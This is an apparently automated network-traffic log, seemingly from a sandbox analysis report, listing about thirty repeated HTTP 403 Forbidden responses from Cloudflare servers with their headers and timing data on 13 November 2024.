Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:26 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M1Br7FOZ151Tv30JiSJIA%2BG69PshIZ4krip%2ByRctCjYM7F7xrak0Lgeq18xYHGIFZynO2m6IuBlu2zMNakmI01SWLVI6vTaHouhlcVcN%2Bv1MJNV25QUJUDzMvyCssOTu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2071a20fed2cda-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1190&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=2399337&cwnd=251&unsent_bytes=0&cid=d6a04af6bf06d8e1&ts=445&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mgN0FB79osoJyRci%2FeCvE1W7OI%2B%2F6ihZO%2FePWO0VnjQcFYBRypV436ZfXkKOC5CPZwhl49g8PjWsbGF%2BxZqLoZ3cMRqwBIdl37fY%2Bg0HMOYaVWfbqzdNxdd058WX5muj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2071aaf830d788-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=140398&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=20792&cwnd=32&unsent_bytes=0&cid=eb26554afb95e4d0&ts=524&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:28 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rcFAKmcPK%2FfaSbJkFjXc640Ez8Q5wgYPphAlYKHZ5uIXdo%2FtTNbsqqNBXSX3bPma%2BslqctQEWENEYZgYxaDNRGRcRu7%2B6GHcSF%2Fbr%2BYeFHUQeMIvujiItHzCgwUDbF%2FJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2071b1bb5a2e2d-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1172&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=2327974&cwnd=251&unsent_bytes=0&cid=5f04bb50528df183&ts=310&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:30 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pG1ab5j64LTO5VlvQFPJ9hpdQ7ApwPNJeHya0C0Jny%2BU73gy%2BJDUpKt%2B6hC7C2wAitunGRWqVOCU3UHLyt6Kr1kcqzjsyhy6JkeXwIClmX%2Fmg4Dnm3RW56d%2Bfcz%2F2g2Z"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2071b9b8a9d789-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=136298&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=21590&cwnd=32&unsent_bytes=0&cid=11014f91d1b0694a&ts=501&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:32 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J4CEvNqd1v0qYqo6RQznhEInlRAWxV3pk2KvGxBeHx4aN80RVWcAbvStI%2BrYqrmeiuWsBkAzo7tPhGpbkOTi0SK0P338Dzhyv9FWZ%2FnVzfFTbdtaWtSfy6g2dkEaibgx"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2071c33fb1685d-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=132792&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=20103&cwnd=32&unsent_bytes=0&cid=47b11e534a4395f7&ts=795&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:33 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=looL4GtvGtqxvJGrm30yz67anykEXAnUj5QKUxtvWzIwSlGE4QXXlOOetn0HNJx5O3A0w2PqKIPjiWua5LVqGSLhtII5Q8flFpcBOLbQCptSMDJNNIlLw13x%2BDicwIGT"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2071cdaa86d74f-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=131167&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=22087&cwnd=32&unsent_bytes=0&cid=b863c50b1855407b&ts=500&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:34 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7hNIQVOpAzqNsdNNHBHV%2FvFwndl2u2sxsybbCGkIYB3DP57B2a%2FUze6zFwxiBbdHxdNgf%2BzcrPpucygnzt%2FwCVTd%2FQJKp12ZSyJAIRjgsCNSzimWHxnveGuWll3zKyHu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2071d67c24d77c-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=130451&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=22215&cwnd=32&unsent_bytes=0&cid=94ba1ae2536a3aa2&ts=541&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:35 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UJKkUz73wRceL473RknB4%2BPgUgX12fygoQM2NXTN00Sysh1fFnIfvhZ3y1ivctuJBd%2Bfv9WX4R1kDx2FjE9WOnbUhNrrn5xMgmn4swu5JpCRDVhhj9vL8vawGopGuXG7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2071dd5a64e817-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1137&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=2375717&cwnd=251&unsent_bytes=0&cid=868425edc2d6e922&ts=281&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:37 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UMlMh02vCQU%2FlII1ulaV2haT7STWruKNjwRC4%2Fw7%2B9ttYl6wUE%2BKBnt4Y0dyASecOQE%2BdGn6ZNVukm1yUcZjIz4y0hZQd9PQ3qvr%2BvXlURCvSbCvdUkd9VIVaFWKoUrM"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2071e74f26261d-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=159367&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=19117&cwnd=32&unsent_bytes=0&cid=88ab9a15cedb4e4c&ts=836&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:40 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NNMlHNXzpfNwQZAx9lMXuoSJ%2BGnRnbXldxWkFOJPK8HQFVAwn8oLiSZ88DDZnMQQ6JIIj0Loy%2BkgZ0qSwm8zWTd0Z1RJGtdl7WOeSqKXNSb2BuyUh1uJbaHLhrP51Yxu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2071f82e2ad765-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=130920&sent=4&recv=6&lost=0&retrans=1&sent_bytes=2828&recv_bytes=1167&delivery_rate=22214&cwnd=32&unsent_bytes=0&cid=d534c45c318cfaa6&ts=514&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:41 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ENnTiihMrRpFRybnPpJyEoMSGd%2BnF2faMZWuA4G1euuaPmASzKur3lq3B2U1EGNdN97Od1pS1W%2F00Blc5WU76yKXe%2FMU01zUo0RkTKjAQGRbtH11fCjJGvXvHwaIUIzc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2071ff4dd42cc2-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1634&sent=4&recv=5&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=1754088&cwnd=237&unsent_bytes=0&cid=80d1d0944f5e918d&ts=493&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:43 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Icly1E73rBXSNTUncto87nreNkMCmzxbo3fAnS6bkdah65AWJdp3pOif6rSeVodUd78RNEp4jcxjHfBCH%2FtkF0UBiqgxXDA0jvn8Fr7KrscghBUjNlchEHJPMNM2r5Pi"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072085ba2e367-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=152031&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=18114&cwnd=32&unsent_bytes=0&cid=22fa5661142b8342&ts=744&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:44 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wlGxf%2BGx%2FDm7xhKQsFSkoDUs6HHfZCHK%2BAYx7K9xEnJKoTmMtSXq%2BzJnRwG1wbdDxVPyKnpdD6gov5mv5aZx%2F%2B1q%2F6AMdEZga08auoxynq8nhWRKfcRYIRLwy3sn9y%2F1"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207213696650d8-BODalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=114495&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=25300&cwnd=32&unsent_bytes=0&cid=020e660828833674&ts=525&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:46 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8irEKmTOZqI9GT1%2Fi4ivCm1%2FktY1QM9j4E058tFjJ0meN69YUCrFbVXJ%2FFKaBb1aYaJKnm2Gsyzy5E0zTukDsKaagc6WoDNnu2tWqXD09KBYnigAheRaAnsFRVb2Ff2y"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20721b88ea685a-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=171015&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=20061&cwnd=32&unsent_bytes=0&cid=7a1ede1f5e5229a1&ts=793&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:47 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OHaq2CNWANcNurjJGs9Ja4p6dtRPGMa5spfj5lRTwUJyuz71DOdOo6HeirIlMkjM3PKe1s9CqosLR0VE8DdQkonFPMKZGIjQOc9kknnfw0viXYPA%2BZXfjCVvlkQHeMia"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072248c38fa05-SJCalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=41184&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=70223&cwnd=32&unsent_bytes=0&cid=0e647d344df4be39&ts=494&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:48 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d2UylY2yyLd8krg4QAWQA7%2FMpDEEDflZiGfmWW2%2FUGhAsHGoDq0kxc4N8Y6sMvVX8J42CceKjFqTF5%2Fy6nLzUK2mSMFfwmYHkYYsN7rarGwUlDNFUZCjC0C3w03AelW6"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20722c09d3c997-IADalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=38217&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=75835&cwnd=32&unsent_bytes=0&cid=fac6eaae224df6ed&ts=378&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:50 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kyUeVC7pn%2BgIuEr6wGwsbUPMkVimrai8OwfULubgUOjsW13vRpxADbw2DUgMQcaVovQdwKkBdGR%2Fqmkh5dt83t8UWvd%2BdAPonVy3KT423bou1ZDM%2FOa8R%2FCVn4nrHdB3"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072346d842089-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=158042&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=20104&cwnd=32&unsent_bytes=0&cid=37b8b5597b73db18&ts=826&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:51 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u1D%2B2uFAu8wuBJoGf8cRuydwJSBoEZK%2BfqDJsqohKH%2BtBflxiouudMXTOXtKuBeulOwApCadRnzy9AUwEbhRI5T4Dph6imPDsooD1kCVYsoPqsCRLct5Dw8uQiCWcCwH"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20723f7ccfd773-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=149219&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=18709&cwnd=32&unsent_bytes=0&cid=9e747e29bab49cac&ts=533&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:52 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=00Cl7wKBZ7yV9cbh0d4dK5aSn4k9yT1wMhtcNQ7RqPFHdpq9f9Ahf%2FdZH1bUTbutbKDy3nFHEnSIHcQ%2FFl1STYfj5O39yCLkrTb4SKd6Rw%2Fr0GLwMvrgOe0DBVXR3Wz1"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207246286f2c86-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1512&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=2023759&cwnd=235&unsent_bytes=0&cid=330b978d0d1a4d06&ts=309&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:54 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6cIsHCbJE1VTrBXvCfTIouycG0j8PfXHS8JKqwP5QVmLktwEth5RAJUIcUJKCpomc%2Bd0yLm7xrI6XzMXVyfKDIUx%2FUGD0ZXYoYuOf09XFVDay3AdeFLOrf13bHMQYbhA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20724ebc837372-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=166823&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=14790&cwnd=32&unsent_bytes=0&cid=00d9681dae08b3b4&ts=582&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:56 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=monfumrc7VHXqkomkrIvIZe%2FRHjcZyB2TZSs9dS43RiCxTOCNj8VRp1LzP8Txlrlgln01y%2BzU8BYDpgHBmgMsqh470SpVZSr3iC02G0nUV9nnBJKXDTHC2GK9FpzC410"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072578bd8d761-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=137573&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=21049&cwnd=32&unsent_bytes=0&cid=e53bcc705fcab88e&ts=1241&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:57 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F6pYaYF214rnQtg64g8L6p6AL9LspkjxnVvl%2FId2AYBLSJKWi1rxSX2LydKU2wcH%2FAmVntqpdHvWcQlbcycetsatnHuovII783CcJR6KbhyFFEHacZ%2BzitzPNyBDLVMC"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072636a6bc979-IADalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=33447&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=86626&cwnd=32&unsent_bytes=0&cid=da1362e8537745c5&ts=286&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:22:59 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XGHHpDIDBXY2ts8C6KRtMUd%2FdgBdVjj%2BDKak8YTJ1m77jf7JQm82kt0wP7Rftyn6Ymu0toZMQo6YMFKYs6Ux2Z3i90PCwHVCdmYMT8W89Wp6UHAmfpPE6nCTCN4dJe57"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20726efa546b06-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1313&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=2360228&cwnd=236&unsent_bytes=0&cid=6e26bb5a99c475d5&ts=1426&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:00 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=53FK1MbVdP2exh9R30Zbk6wUIj0r9cdGiJEouY9XFL5YFoYuayPQEQL0%2FLNzqWzw72Zgu5iDF%2FzsHbFIk04nzdwXPVMZ%2BOFncGxuZnHtrCrDQRcNzUeFnZJz3fHaFz8n"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072779d65d744-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=130818&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=22142&cwnd=32&unsent_bytes=0&cid=56f90b16cfacd2ba&ts=505&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:02 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sDwovdz1JJdMtieF51S4hW2OaKNbVPuLAZv1W8B6JSTPqDI9%2FrSNtPu2IaPoEqdX5ERzePuHxLiLxr1pv%2Fee9N%2BTFjwRZruV2KzxaDDkoYuYsaD39Mtsh9WOVOUebuY9"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207281082f230e-SJCalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=41539&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=69692&cwnd=32&unsent_bytes=0&cid=4f6311489d8c8a45&ts=649&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:03 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8tFLPmqI799PnVeBOrq5G5ZXAMN6sjSzNTOcBhKuiHacpHIge4bmsDB7A6gBXEQ9I5TCD6VzQUzpKjQ23r2YwtumxUU5xw99TerBLalDxEsW1QvmHoUGFJQieEjbSOd7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20728b5edfd773-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=137262&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=21077&cwnd=32&unsent_bytes=0&cid=0dc08ebf919023c0&ts=507&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:05 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0nSy34c9HeRGYq1rso4OjG3DbafnyF3HcR4LJzS6%2B8EkflOWT1vQ2dPE1xON9f30KM0IzfEgx%2FN9sDiVeDEdii1NoYMzM3f0a%2Fw1toPlx9AVinICfYUm9EmcwwQkXE36"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072932fe9c991-IADalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=33698&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=85843&cwnd=32&unsent_bytes=0&cid=242a4841e244cbd9&ts=379&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ugTmQJwoSTRLngQursOqTYXHNAD%2FbK3wnmoQwVwbfcW4W%2BQ9B0WoxujjHmJ4eg5tRu0HHaxBaXQ5u7oAS7veuAeSl%2BzgSREM22vjTQkjj5VHRnWm1ZplJXGUeZDLeg24"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20729d987ad754-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=142391&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=18051&cwnd=32&unsent_bytes=0&cid=353bf2596d3dc2ed&ts=868&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xtKpxvxrnx3yBfmjwSLQcAOLxc520cXHDYngWBt5NM8LaldTRbJXWrV5v1aRMWaaSCtHfBaAzZuSm96b9RnA3aJAfsNAANF1wMeBmdJHB5oxnbKRrI%2BUYWPnjNwYfPet"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072a68da0d788-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=137469&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=21056&cwnd=32&unsent_bytes=0&cid=d54b3113894ee5f0&ts=550&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:09 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=acQqXazriKixtSRErgKXYHINiJgj84YMNHGkGFYHNJungNXei4EnEFzpSwIR6R9bTvyCoqoNNLXd6yE5eyqtlX%2FZLhwz0vrnKs%2Fu4ktygz8gWlbcfdc03yaxksnNVAqU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072adfc01c9ad-IADalt-svc: h3=":443"; ma=86400server-timing: 